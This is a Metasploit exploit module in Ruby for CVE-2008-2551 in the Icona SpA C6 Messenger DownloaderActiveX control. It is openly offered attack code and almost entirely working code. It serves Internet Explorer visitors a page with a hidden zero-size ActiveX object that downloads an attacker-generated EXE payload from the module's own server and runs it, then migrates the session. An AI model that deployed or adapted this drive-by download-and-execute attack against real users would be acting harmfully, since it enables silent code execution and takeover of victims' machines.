Icona SpA C6 Messenger – DownloaderActiveX Control Arbitrary File Download and Execute (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Icona SpA C6 Messenger DownloaderActiveX Control Arbitrary File Download and Execute', 'Description' => %q{ This module exploits a vulnerability in Icona SpA C6 Messenger 1.0.0.1. The vulnerability is in the DownloaderActiveX Control (DownloaderActiveX.ocx). The insecure control can be abused to download and execute arbitrary files in the context of the currently logged-on user. }, 'License' => MSF_LICENSE, 'Author' => [ 'Nine:Situations:Group::SnoopyAssault', # Vulnerability discovery and exploit 'juan vazquez' # metasploit module ], 'References' => [ [ 'CVE', '2008-2551' ], [ 'OSVDB', '45960' ], [ 'BID', '29519' ], [ 'URL', 'http://retrogod.altervista.org/9sg_c6_download_exec.html' ], ], 'DefaultOptions' => { 'ExitFunction' => "none", 'InitialAutoRunScript' => 'migrate -f' }, 'Payload' => { 'Space' => 2048, 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { } ], ], 'DisclosureDate' => 'Jun 03 2008', 'DefaultTarget' => 0, 'Privileged' => false)) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) # Only IEs are potential targets # "File Session" is used when the ActiveX tries to request the EXE agent = request.headers['User-Agent'] if agent !~ /MSIE \d\.\d|File Session/ print_error("Target not supported: #{cli.peerhost}:#{cli.peerport} (#{agent})") return end payload_url = "http://" payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/#{@payload_rand}" if (request.uri.match(/#{@payload_rand}/)) return if ((p = regenerate_payload(cli)) == nil) data = generate_payload_exe({ :code => p.encoded }) print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...") send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) return end exe = rand_text_alpha(rand(5) + 1 ) content = %Q| <html> <object id="DownloaderActiveX1" width="0" height="0" classid="CLSID:c1b7e532-3ecb-4e9e-bb3a-2951ffe67c61" codebase="DownloaderActiveX.cab#Version=1,0,0,1"> <param name="propProgressBackground" value="#bccee8"> <param name="propTextBackground" value="#f7f8fc"> <param name="propBarColor" value="#df0203"> <param name="propTextColor" value="#000000"> <param name="propWidth" value="0"> <param name="propHeight" value="0"> <param name="propDownloadUrl" value="#{payload_url}/#{exe}.exe"> <param name="propPostDownloadAction" value="run"> <param name="propInstallCompleteUrl" value=""> <param name="propBrowserRedirectUrl" value=""> <param name="propVerbose" value="0"> <param name="propInterrupt" value="0"> </OBJECT> </html> | print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") send_response_html(cli, content) handler(cli) end def exploit @payload_rand = rand_text_alpha(rand(5) + 5 ) super end end |